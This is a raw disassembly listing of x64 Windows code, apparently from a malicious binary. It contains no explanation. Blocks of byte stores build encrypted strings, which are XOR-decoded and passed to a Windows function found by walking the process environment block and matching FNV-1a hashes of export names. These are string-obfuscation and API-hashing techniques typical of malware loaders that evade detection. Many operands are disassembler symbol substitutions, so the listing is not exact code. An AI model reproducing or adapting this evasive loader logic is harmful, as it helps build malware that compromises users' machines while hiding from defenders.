mov byte [rbp + 0xaa0], 0xf6
mov byte [rbp + 0xaa1], 0xfd
mov byte [rbp + 0xaa2], 0xe1
mov byte [rbp + 0xaa3], 0xcb
mov byte [rbp + 0xaa4], 0xf9
mov byte [rbp + 0xaa5], 0xea
mov byte [rbp + 0xaa6], 0xe0
mov byte [rbp + 0xaa7], 0xfa
mov byte [rbp + 0xaa8], 0xf5
mov byte [rbp + 0xaa9], 0xfa
mov byte [rbp + 0xaaa], 0xbb
mov byte [rbp + 0xaab], 0x86
mov byte [rbp + 0xaac], 0xda
mov byte [rbp + 0xaad], Ordinal_143
mov byte [rbp + 0xaae], 0xf3
mov byte [rbp + 0xaaf], Ordinal_200
mov byte [rbp + 0xab0], Ordinal_200
mov byte [rbp + 0xab1], 0xca
mov byte [rbp + 0xab2], Ordinal_217
mov byte [rbp + 0xab3], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xab4], 0xc9
mov byte [rbp + 0xab5], 0xda
mov byte [rbp + 0xab6], Ordinal_200
mov byte [rbp + 0xab7], Ordinal_200
mov byte [rbp + 0xab8], 0xe5
mov byte [rbp + 0xab9], Ordinal_217
mov byte [rbp + 0xaba], 0xcc
mov byte [rbp + 0xabb], Ordinal_217
mov byte [rbp + 0xabc], Ordinal_211
mov byte [rbp + 0xabd], Ordinal_217
mov byte [rbp + 0xabe], 0xcb
mov byte [rbp + 0xabf], Ordinal_211
mov byte [rbp + 0xac0], Ordinal_200
mov byte [rbp + 0xac1], 0xda
mov byte [rbp + 0xac2], 0xda
mov byte [rbp + 0xac3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xac4], 0x9c
mov byte [rbp + 0xac5], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xac6], Ordinal_200
mov byte [rbp + 0xac7], __WSAFDIsSet
mov byte [rbp + 0xac8], 0xe8
mov byte [rbp + 0xac9], 0xf1
mov byte [rbp + 0xaca], 0xfc
mov byte [rbp + 0xacb], __WSAFDIsSet
mov byte [rbp + 0xacc], 0x9f
mov byte [rbp + 0xacd], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xace], 0xe1
mov byte [rbp + 0xacf], 0xef
mov byte [rbp + 0xad0], 0xa7
mov byte [rbp + 0xad1], 0xe3
mov byte [rbp + 0xad2], 0xe0
mov byte [rbp + 0xad3], 0xbf
mov byte [rbp + 0xad4], 0xad
mov byte [rbp + 0xad5], 0xa6
mov byte [rbp + 0xad6], 0xa7
mov byte [rbp + 0xad7], 0xac
mov byte [rbp + 0xad8], 0xa7
mov byte [rbp + 0xad9], 0xe1
mov byte [rbp + 0xada], 0xee
mov byte [rbp + 0xadb], 0xab
mov byte [rbp + 0xadc], 0xbd
mov byte [rbp + 0xadd], 0xb3
mov byte [rbp + 0xade], 0xb5
mov byte [rbp + 0xadf], 0xbf
mov byte [rbp + 0xae0], 0xbe
mov byte [rbp + 0xae1], 0xf6
mov byte [rbp + 0xae2], 0xf8
mov byte [rbp + 0xae3], 0xf8
mov byte [rbp + 0xae4], 0xae
mov byte [rbp + 0xae5], 0xb9
mov byte [rbp + 0xae6], 0xbd
mov byte [rbp + 0xae7], 0xb7
mov byte [rbp + 0xae8], 0xb5
mov byte [rbp + 0xae9], 0xb9
mov byte [rbp + 0xaea], 0xfe
mov byte [rbp + 0xaeb], Ordinal_200
mov byte [rbp + 0xaec], 0xc9
mov byte [rbp + 0xaed], 0x9f
mov byte [rbp + 0xaee], 0x80
mov byte [rbp + 0xaef], Ordinal_143
mov byte [rbp + 0xaf0], 0x87
mov byte [rbp + 0xaf1], Ordinal_143
mov byte [rbp + 0xaf2], 0x88
mov byte [rbp + 0xaf3], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xaf4], 0xc1
mov byte [rbp + 0xaf5], Ordinal_211
mov byte [rbp + 0xaf6], __WSAFDIsSet
mov byte [rbp + 0xaf7], 0x82
mov byte [rbp + 0xaf8], 0x84
mov byte [rbp + 0xaf9], 0x80
mov byte [rbp + 0xafa], 0x84
mov byte [rbp + 0xafb], __WSAFDIsSet
mov byte [rbp + 0xafc], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xafd], Ordinal_211
mov byte [rbp + 0xafe], Ordinal_217
mov byte [rbp + 0xaff], 0x82
mov byte [rbp + 0xb00], __WSAFDIsSet
mov byte [rbp + 0xb01], 0x9d
mov byte [rbp + 0xb02], __WSAFDIsSet
mov byte [rbp + 0xb03], __WSAFDIsSet
mov byte [rbp + 0xb04], __WSAFDIsSet
mov byte [rbp + 0xb05], 0xdd
mov byte [rbp + 0xb06], Ordinal_217
mov byte [rbp + 0xb07], 0x81
mov byte [rbp + 0xb08], 0x9b
movabs r11, 0x2fd94a7f82552564
mov byte [rbp + 0xb09], 0x9a
mov r10, r11
mov byte [rbp + 0xb0a], 0x9f
mov r9, rsi
mov byte [rbp + 0xb0b], 0x66
mov byte [rbp + 0xb0c], 0x61
mov byte [rbp + 0xb0d], Ordinal_45
mov byte [rbp + 0xb0e], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb0f], Ordinal_50
mov byte [rbp + 0xb10], 0x65
mov byte [rbp + 0xb11], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xb12], Ordinal_60
mov byte [rbp + 0xb13], 0x63
mov byte [rbp + 0xb14], 0x79
mov byte [rbp + 0xb15], 0x64
mov byte [rbp + 0xb16], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xb17], Ordinal_50
mov byte [rbp + 0xb18], gethostname
mov byte [rbp + 0xb19], Ordinal_35
mov byte [rbp + 0xb1a], Ordinal_60
mov byte [rbp + 0xb1b], Ordinal_26
movzx eax, byte [rbp + 0xa6f]
lea rax, [rbp + 0xa6f]
sub r10, rax
nop dword [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0xa6f]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xa6f], al
inc r9
cmp r9, 0xad
jb 0x140048850
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140048927
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140048927
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048922
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140048900
cmp r8d, 0x491e0a9c
je 0x14004892c
test r9d, r9d
jne 0x1400488e0
mov rax, qword [rax]
jmp 0x1400488b0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0xa6f]
add rdx, r10
call rdx
mov byte [rbp + 0x53a], 0xf2
mov byte [rbp + 0x53b], 0xe2
mov byte [rbp + 0x53c], 0xf4
mov byte [rbp + 0x53d], 0xb9
mov byte [rbp + 0x53e], 0xfe
mov byte [rbp + 0x53f], 0xf2
mov byte [rbp + 0x540], 0xfd
mov byte [rbp + 0x541], 0xb4
mov byte [rbp + 0x542], 0xdd
mov byte [rbp + 0x543], Ordinal_211
mov byte [rbp + 0x544], Ordinal_211
mov byte [rbp + 0x545], Ordinal_211
mov byte [rbp + 0x546], 0xcc
mov byte [rbp + 0x547], Ordinal_200
mov byte [rbp + 0x548], 0xda
mov byte [rbp + 0x549], Ordinal_217
mov byte [rbp + 0x54a], Ordinal_200
mov byte [rbp + 0x54b], 0xc0
mov byte [rbp + 0x54c], 0xe2
mov byte [rbp + 0x54d], 0xfb
mov byte [rbp + 0x54e], 0xea
mov byte [rbp + 0x54f], 0xfa
mov byte [rbp + 0x550], 0xe4
mov byte [rbp + 0x551], Ordinal_211
mov byte [rbp + 0x552], Ordinal_200
mov byte [rbp + 0x553], 0xdb
mov byte [rbp + 0x554], 0xc1
mov byte [rbp + 0x555], 0xdc
mov byte [rbp + 0x556], Ordinal_211
mov byte [rbp + 0x557], Ordinal_200
mov byte [rbp + 0x558], Ordinal_211
mov byte [rbp + 0x559], 0xfd
mov byte [rbp + 0x55a], 0xf7
mov byte [rbp + 0x55b], Ordinal_211
mov byte [rbp + 0x55c], 0xdd
mov byte [rbp + 0x55d], 0xdd
mov byte [rbp + 0x55e], Ordinal_211
mov byte [rbp + 0x55f], 0xc1
mov byte [rbp + 0x560], 0xca
mov byte [rbp + 0x561], __WSAFDIsSet
mov byte [rbp + 0x562], __WSAFDIsSet
mov byte [rbp + 0x563], 0x9b
mov byte [rbp + 0x564], 0xf0
mov byte [rbp + 0x565], 0xeb
mov byte [rbp + 0x566], 0xec
mov byte [rbp + 0x567], 0xf3
mov byte [rbp + 0x568], 0xc0
mov byte [rbp + 0x569], Ordinal_200
mov byte [rbp + 0x56a], Ordinal_200
mov byte [rbp + 0x56b], Ordinal_211
mov byte [rbp + 0x56c], 0xad
mov byte [rbp + 0x56d], 0xbd
mov byte [rbp + 0x56e], 0x99
mov byte [rbp + 0x56f], 0xa3
mov byte [rbp + 0x570], 0xbb
mov byte [rbp + 0x571], 0xb7
mov byte [rbp + 0x572], 0xac
mov byte [rbp + 0x573], 0xa6
mov byte [rbp + 0x574], 0xa0
mov byte [rbp + 0x575], 0xef
mov byte [rbp + 0x576], 0xef
mov byte [rbp + 0x577], 0xb6
mov byte [rbp + 0x578], 0xe5
mov byte [rbp + 0x579], 0x83
mov byte [rbp + 0x57a], 0xb5
mov byte [rbp + 0x57b], 0xae
mov byte [rbp + 0x57c], 0xbf
mov byte [rbp + 0x57d], 0xbd
mov byte [rbp + 0x57e], 0x9d
mov byte [rbp + 0x57f], 0xa4
mov byte [rbp + 0x580], 0xb8
mov byte [rbp + 0x581], 0xba
mov byte [rbp + 0x582], 0xb6
mov byte [rbp + 0x583], 0xb1
mov byte [rbp + 0x584], 0xfe
mov byte [rbp + 0x585], 0xf0
mov byte [rbp + 0x586], 0xa4
mov byte [rbp + 0x587], 0xf0
mov byte [rbp + 0x588], 0x87
mov byte [rbp + 0x589], __WSAFDIsSet
mov byte [rbp + 0x58a], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x58b], 0x88
mov byte [rbp + 0x58c], 0xb0
mov byte [rbp + 0x58d], 0xb3
mov byte [rbp + 0x58e], Ordinal_211
mov byte [rbp + 0x58f], 0xc9
mov byte [rbp + 0x590], Ordinal_143
mov byte [rbp + 0x591], Ordinal_200
mov byte [rbp + 0x592], 0xc0
mov byte [rbp + 0x593], 0x9b
mov byte [rbp + 0x594], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x595], 0x81
mov byte [rbp + 0x596], 0x84
mov byte [rbp + 0x597], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x598], 0x88
mov byte [rbp + 0x599], Ordinal_200
mov byte [rbp + 0x59a], Ordinal_200
mov byte [rbp + 0x59b], __WSAFDIsSet
mov byte [rbp + 0x59c], __WSAFDIsSet
mov byte [rbp + 0x59d], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x59e], 0x9b
mov byte [rbp + 0x59f], 0x99
mov byte [rbp + 0x5a0], __WSAFDIsSet
mov byte [rbp + 0x5a1], Ordinal_211
mov byte [rbp + 0x5a2], Ordinal_217
mov byte [rbp + 0x5a3], 0xdc
mov byte [rbp + 0x5a4], Ordinal_143
mov byte [rbp + 0x5a5], 0x9e
mov byte [rbp + 0x5a6], 0x9e
mov byte [rbp + 0x5a7], __WSAFDIsSet
mov byte [rbp + 0x5a8], 0x9a
mov byte [rbp + 0x5a9], 0x9c
mov byte [rbp + 0x5aa], Ordinal_217
mov byte [rbp + 0x5ab], 0xda
mov byte [rbp + 0x5ac], Ordinal_41
mov byte [rbp + 0x5ad], 0x7b
mov byte [rbp + 0x5ae], WSACleanup
mov byte [rbp + 0x5af], 0x68
mov byte [rbp + 0x5b0], WSASetLastError
mov byte [rbp + 0x5b1], WSASetLastError
mov byte [rbp + 0x5b2], 0x68
mov byte [rbp + 0x5b3], Ordinal_45
mov byte [rbp + 0x5b4], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x5b5], Ordinal_45
mov byte [rbp + 0x5b6], WSACleanup
mov byte [rbp + 0x5b7], 0x61
mov byte [rbp + 0x5b8], WSASetLastError
mov byte [rbp + 0x5b9], 0x65
mov byte [rbp + 0x5ba], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5bb], WSASetLastError
mov byte [rbp + 0x5bc], Ordinal_60
mov byte [rbp + 0x5bd], gethostname
mov byte [rbp + 0x5be], Ordinal_60
mov byte [rbp + 0x5bf], 0x64
mov byte [rbp + 0x5c0], 0x78
mov byte [rbp + 0x5c1], 0x7a
mov byte [rbp + 0x5c2], WSACleanup
mov byte [rbp + 0x5c3], 0x76
mov byte [rbp + 0x5c4], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x5c5], Ordinal_60
mov byte [rbp + 0x5c6], gethostname
mov byte [rbp + 0x5c7], 0x62
mov byte [rbp + 0x5c8], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5c9], 0x7f
mov byte [rbp + 0x5ca], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5cb], 0x78
mov byte [rbp + 0x5cc], Ordinal_79
mov byte [rbp + 0x5cd], ntohl
mov byte [rbp + 0x5ce], r12b
mov byte [rbp + 0x5cf], 9
mov byte [rbp + 0x5d0], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x5d1], 4
mov byte [rbp + 0x5d2], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x5d3], 0x47
mov r10, r14
mov byte [rbp + 0x5d4], 0x5b
mov r9, rsi
mov byte [rbp + 0x5d5], 0x43
mov byte [rbp + 0x5d6], sil
mov byte [rbp + 0x5d7], reloc.WS2_32.dll_select
mov byte [rbp + 0x5d8], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x5d9], 7
mov byte [rbp + 0x5da], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x5db], Ordinal_45
movzx eax, byte [rbp + 0x53a]
lea rax, [rbp + 0x53a]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x53a]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r14
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x53a], al
inc r9
cmp r9, 0xa2
jb 0x140048de0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140048eb7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140048eb7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048eb2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140048e90
cmp r8d, 0x491e0a9c
je 0x140048ebc
test r9d, r9d
jne 0x140048e70
mov rax, qword [rax]
jmp 0x140048e40
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x53a]
add rdx, r10
call rdx
mov byte [rbp + 0x918], Ordinal_200
mov byte [rbp + 0x919], 0xdf
mov byte [rbp + 0x91a], 0xde
mov byte [rbp + 0x91b], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x91c], 0xda
mov byte [rbp + 0x91d], Ordinal_217
mov byte [rbp + 0x91e], Ordinal_217
mov byte [rbp + 0x91f], __WSAFDIsSet
mov byte [rbp + 0x920], 0xf8
mov byte [rbp + 0x921], 0xf0
mov byte [rbp + 0x922], 0xfc
mov byte [rbp + 0x923], 0xff
mov byte [rbp + 0x924], 0xe8
mov byte [rbp + 0x925], 0xe5
mov byte [rbp + 0x926], 0xf2
mov byte [rbp + 0x927], 0xfb
mov byte [rbp + 0x928], __WSAFDIsSet
mov byte [rbp + 0x929], 0x9d
mov byte [rbp + 0x92a], 0x88
mov byte [rbp + 0x92b], __WSAFDIsSet
mov byte [rbp + 0x92c], Ordinal_143
mov byte [rbp + 0x92d], 0x9c
mov byte [rbp + 0x92e], Ordinal_143
mov byte [rbp + 0x92f], 0xaa
mov byte [rbp + 0x930], 0xa3
mov byte [rbp + 0x931], 0xb9
mov byte [rbp + 0x932], 0xaf
mov byte [rbp + 0x933], 0xb1
mov byte [rbp + 0x934], 0xab
mov byte [rbp + 0x935], 0xa0
mov byte [rbp + 0x936], 0xb9
mov byte [rbp + 0x937], __WSAFDIsSet
mov byte [rbp + 0x938], 0x87
mov byte [rbp + 0x939], 0xb3
mov byte [rbp + 0x93a], 0xb7
mov byte [rbp + 0x93b], 0xb3
mov byte [rbp + 0x93c], 0xb4
mov byte [rbp + 0x93d], 0xa7
mov byte [rbp + 0x93e], 0xa2
mov byte [rbp + 0x93f], 0xf1
mov byte [rbp + 0x940], 0xf0
mov byte [rbp + 0x941], 0xf9
mov byte [rbp + 0x942], 0x9e
mov byte [rbp + 0x943], 0x86
mov byte [rbp + 0x944], 0x88
mov byte [rbp + 0x945], __WSAFDIsSet
mov byte [rbp + 0x946], 0xa8
mov byte [rbp + 0x947], 0xaf
mov byte [rbp + 0x948], __WSAFDIsSet
mov byte [rbp + 0x949], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x94a], 0x87
mov byte [rbp + 0x94b], __WSAFDIsSet
mov byte [rbp + 0x94c], 0xbd
mov byte [rbp + 0x94d], 0x85
mov byte [rbp + 0x94e], __WSAFDIsSet
mov byte [rbp + 0x94f], 0x90
mov byte [rbp + 0x950], Ordinal_143
mov byte [rbp + 0x951], 0x84
mov byte [rbp + 0x952], Ordinal_143
mov byte [rbp + 0x953], Ordinal_200
mov byte [rbp + 0x954], 0xcb
mov byte [rbp + 0x955], 0x90
mov byte [rbp + 0x956], Ordinal_211
mov byte [rbp + 0x957], 0xa9
mov byte [rbp + 0x958], 0x99
mov byte [rbp + 0x959], 0x9d
mov byte [rbp + 0x95a], 0x90
mov byte [rbp + 0x95b], 0x83
mov byte [rbp + 0x95c], 0x9a
mov byte [rbp + 0x95d], 0x9c
mov byte [rbp + 0x95e], 0xa1
mov byte [rbp + 0x95f], 0x81
mov byte [rbp + 0x960], 0x9f
mov byte [rbp + 0x961], 0x9f
mov byte [rbp + 0x962], 0x85
mov byte [rbp + 0x963], __WSAFDIsSet
mov byte [rbp + 0x964], 0x80
mov byte [rbp + 0x965], 0xbf
mov byte [rbp + 0x966], 0x99
mov byte [rbp + 0x967], 0xdd
mov byte [rbp + 0x968], Ordinal_50
mov byte [rbp + 0x969], 0x7e
mov byte [rbp + 0x96a], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x96b], 0x55
mov byte [rbp + 0x96c], Ordinal_79
mov byte [rbp + 0x96d], 0x47
mov byte [rbp + 0x96e], 0x5e
mov byte [rbp + 0x96f], 0x41
mov byte [rbp + 0x970], Ordinal_79
mov byte [rbp + 0x971], 0x45
mov byte [rbp + 0x972], 0x41
mov byte [rbp + 0x973], 0x50
mov byte [rbp + 0x974], 0x5d
mov byte [rbp + 0x975], Ordinal_41
mov byte [rbp + 0x976], Ordinal_35
mov byte [rbp + 0x977], WSAGetLastError
mov byte [rbp + 0x978], Ordinal_50
mov byte [rbp + 0x979], 0x3f
mov byte [rbp + 0x97a], WSASetLastError
mov byte [rbp + 0x97b], 0x76
mov byte [rbp + 0x97c], 0x75
mov byte [rbp + 0x97d], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x97e], 0x7e
mov byte [rbp + 0x97f], 0x7e
mov byte [rbp + 0x980], gethostname
mov byte [rbp + 0x981], 0x3e
mov byte [rbp + 0x982], 0x62
mov byte [rbp + 0x983], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x984], 0x7a
mov byte [rbp + 0x985], WSACleanup
mov byte [rbp + 0x986], WSACleanup
mov byte [rbp + 0x987], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x988], 5
mov byte [rbp + 0x989], 7
mov byte [rbp + 0x98a], ntohl
mov byte [rbp + 0x98b], 0x55
mov byte [rbp + 0x98c], Ordinal_79
mov byte [rbp + 0x98d], Ordinal_79
mov byte [rbp + 0x98e], 0x45
mov byte [rbp + 0x98f], Ordinal_79
mov byte [rbp + 0x990], Ordinal_79
mov byte [rbp + 0x991], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x992], reloc.WS2_32.dll_listen
mov byte [rbp + 0x993], 7
mov byte [rbp + 0x994], 0x56
mov byte [rbp + 0x995], 0x47
mov byte [rbp + 0x996], 0x43
mov byte [rbp + 0x997], Ordinal_79
mov byte [rbp + 0x998], 0x5f
mov byte [rbp + 0x999], 0x57
mov byte [rbp + 0x99a], Ordinal_32
mov byte [rbp + 0x99b], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x99c], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x99d], 0x42
mov byte [rbp + 0x99e], 0x50
mov byte [rbp + 0x99f], 0x5d
mov byte [rbp + 0x9a0], 0x54
mov byte [rbp + 0x9a1], 0x54
mov byte [rbp + 0x9a2], 0x5d
mov byte [rbp + 0x9a3], reloc.WS2_32.dll_socket
mov byte [rbp + 0x9a4], Ordinal_26
mov byte [rbp + 0x9a5], reloc.WS2_32.dll_send
mov byte [rbp + 0x9a6], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x9a7], 0x5c
mov byte [rbp + 0x9a8], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x9a9], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x9aa], Ordinal_41
mov byte [rbp + 0x9ab], Ordinal_45
mov byte [rbp + 0x9ac], WSACleanup
mov byte [rbp + 0x9ad], 0x65
mov byte [rbp + 0x9ae], gethostname
mov byte [rbp + 0x9af], Ordinal_35
mov byte [rbp + 0x9b0], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x9b1], Ordinal_50
movabs r11, 0x23b89a28475f4bb0
mov byte [rbp + 0x9b2], Ordinal_50
mov r10, r11
mov byte [rbp + 0x9b3], Ordinal_50
mov r9, rsi
mov byte [rbp + 0x9b4], 0x61
mov byte [rbp + 0x9b5], 0x66
mov byte [rbp + 0x9b6], 0x62
mov byte [rbp + 0x9b7], Ordinal_45
mov byte [rbp + 0x9b8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x9b9], 0x64
mov byte [rbp + 0x9ba], Ordinal_60
mov byte [rbp + 0x9bb], Ordinal_35
mov byte [rbp + 0x9bc], Ordinal_60
mov byte [rbp + 0x9bd], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x9be], 0x63
mov byte [rbp + 0x9bf], WSASetLastError
mov byte [rbp + 0x9c0], 0x76
mov byte [rbp + 0x9c1], WSASetLastError
mov byte [rbp + 0x9c2], 0x50
movzx eax, byte [rbp + 0x918]
lea rax, [rbp + 0x918]
sub r10, rax
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x918]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x918], al
inc r9
cmp r9, 0xab
jb 0x1400493b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140049487
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140049487
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049482
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140049460
cmp r8d, 0x491e0a9c
je 0x14004948c
test r9d, r9d
jne 0x140049440
mov rax, qword [rax]
jmp 0x140049410
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x918]
add rdx, r10
call rdx
mov byte [rbp + 0x9c3], 0xb2
mov byte [rbp + 0x9c4], 0xae
mov byte [rbp + 0x9c5], 0xa3
mov byte [rbp + 0x9c6], 0xe5
mov byte [rbp + 0x9c7], 0xa6
mov byte [rbp + 0x9c8], 0xa8
mov byte [rbp + 0x9c9], 0xa6
mov byte [rbp + 0x9ca], 0xed
mov byte [rbp + 0x9cb], Ordinal_143
mov byte [rbp + 0x9cc], 0x85
mov byte [rbp + 0x9cd], __WSAFDIsSet
mov byte [rbp + 0x9ce], 0x9d
mov byte [rbp + 0x9cf], Ordinal_143
mov byte [rbp + 0x9d0], Ordinal_143
mov byte [rbp + 0x9d1], __WSAFDIsSet
mov byte [rbp + 0x9d2], 0x9d
mov byte [rbp + 0x9d3], 0x84
mov byte [rbp + 0x9d4], Ordinal_143
mov byte [rbp + 0x9d5], __WSAFDIsSet
mov byte [rbp + 0x9d6], 0x87
mov byte [rbp + 0x9d7], __WSAFDIsSet
mov byte [rbp + 0x9d8], 0x80
mov byte [rbp + 0x9d9], 0x9f
mov byte [rbp + 0x9da], 0xb4
mov byte [rbp + 0x9db], 0xb2
mov byte [rbp + 0x9dc], 0xac
mov byte [rbp + 0x9dd], 0x82
mov byte [rbp + 0x9de], __WSAFDIsSet
mov byte [rbp + 0x9df], Ordinal_143
mov byte [rbp + 0x9e0], Ordinal_143
mov byte [rbp + 0x9e1], 0x9d
mov byte [rbp + 0x9e2], 0xb7
mov byte [rbp + 0x9e3], 0xb7
mov byte [rbp + 0x9e4], 0x82
mov byte [rbp + 0x9e5], Ordinal_143
mov byte [rbp + 0x9e6], 0x81
mov byte [rbp + 0x9e7], 0x88
mov byte [rbp + 0x9e8], 0x9b
mov byte [rbp + 0x9e9], __WSAFDIsSet
mov byte [rbp + 0x9ea], Ordinal_211
mov byte [rbp + 0x9eb], 0xc1
mov byte [rbp + 0x9ec], 0xcc
mov byte [rbp + 0x9ed], 0xb3
mov byte [rbp + 0x9ee], 0xa4
mov byte [rbp + 0x9ef], 0xae
mov byte [rbp + 0x9f0], 0xb9
mov byte [rbp + 0x9f1], Ordinal_143
mov byte [rbp + 0x9f2], Ordinal_143
mov byte [rbp + 0x9f3], 0x82
mov byte [rbp + 0x9f4], 0x9e
mov byte [rbp + 0x9f5], 0x9a
mov byte [rbp + 0x9f6], 0x81
mov byte [rbp + 0x9f7], 0xa1
mov byte [rbp + 0x9f8], 0x99
mov byte [rbp + 0x9f9], 0x80
mov byte [rbp + 0x9fa], Ordinal_143
mov byte [rbp + 0x9fb], 0x98
mov byte [rbp + 0x9fc], __WSAFDIsSet
mov byte [rbp + 0x9fd], 0x63
mov byte [rbp + 0x9fe], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x9ff], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa00], 0x7c
mov byte [rbp + 0xa01], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa02], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa03], WSAGetLastError
mov byte [rbp + 0xa04], WSASetLastError
mov byte [rbp + 0xa05], WSASetLastError
mov byte [rbp + 0xa06], WSACleanup
mov byte [rbp + 0xa07], 0x66
mov byte [rbp + 0xa08], 0x60
mov byte [rbp + 0xa09], 0x52
mov byte [rbp + 0xa0a], 0x7f
mov byte [rbp + 0xa0b], WSACleanup
mov byte [rbp + 0xa0c], WSASetLastError
mov byte [rbp + 0xa0d], 0x68
mov byte [rbp + 0xa0e], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xa0f], 0x66
mov byte [rbp + 0xa10], 0x53
mov byte [rbp + 0xa11], 0x7d
mov byte [rbp + 0xa12], Ordinal_50
mov byte [rbp + 0xa13], Ordinal_50
mov byte [rbp + 0xa14], gethostname
mov byte [rbp + 0xa15], 0x60
mov byte [rbp + 0xa16], gethostname
